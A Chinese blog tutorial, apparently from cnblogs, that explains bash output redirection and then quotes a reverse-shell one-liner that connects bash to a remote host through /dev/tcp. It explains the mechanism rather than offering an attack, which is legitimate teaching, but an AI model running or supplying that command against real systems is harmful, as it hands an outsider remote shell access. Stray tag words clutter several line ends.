cnblogs原創shell
下面幾種bash重定向各表示什麼意思?bash
1 find / -name passwd > /dev/null 2 find / -name passwd > /dev/null 2>&1 3 find / -name passwd 2> /dev/null 4 find / -name passwd &> /dev/null 5 find / -name passwd >& /dev/null
上面有5種重定向,分別表示:tcp
1. 將find結果重定向到 /dev/null,這個find結果指的是標準輸出,不含標準錯誤,好比以非root用戶身份運行這個命令時,可能會遇到這樣問題,以下:post
其中有的是查找到了,有的報錯,對應正常查找到的是標準輸出,而報錯則是標準錯誤。標準輸出與標準錯誤都是向屏幕輸出,區別是有無緩衝,標準錯誤是不帶緩衝的。spa
這個最終結果是僅輸出find錯誤結果。3d
2. 將find結果(標準輸出)重定向到 /dev/null,同時將標準錯誤重定向到標準輸出。在Linux中,內核默認爲每一個進程打開3個描述符(標準錯誤二、標準輸出一、標準輸入0)。code
這個最終結果是什麼都不輸出。blog
3. 將find結果(標準錯誤)重定向到 /dev/null,不含標準輸出。進程
這個最終結果是隻輸出正常結果,不輸出錯誤結果。class
4/5. 這兩個是相同的,只是不一樣寫法,>&和&>徹底相同,它們對位置前後無要求。將find結果(標準輸出)重定向到 /dev/null,同時將標準錯誤重定向到標準輸出。>&或者&>等同於> /dev/null 2>&1。爲何會有這種寫法?大概緣由是bash對csh進行兼容致使的,由於csh的標準輸出和標準錯誤重定向是這種寫法。
其實這些在bash manual手冊中都是有說明的:
另外,網上有給出一個反彈shell,以下:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
重定向語法上面已經解釋清楚,這裏無非是多了個標準輸入的重定向。
使用ls命令發現/dev下面並無這個tcp目錄或者文件,這裏的/dev/tcp/10.0.0.1/8000又是什麼?一樣在bash的manual中有說明,以下:
從手冊中能夠看到/dev/tcp/10.0.0.1/8000是bash重定向時,一些特殊的文件而已,ls天然看不到的。
PS: 準備在閒暇之餘用C++寫個反彈shell練手的,遂有了這篇文章。但寫完這篇文章以後,發現網上已經有人寫過相似的( https://www.anquanke.com/post/id/85712 ),不過沒有解釋/dev/tcp/host/port是怎麼回事,文章就不刪了,留做補充說明吧。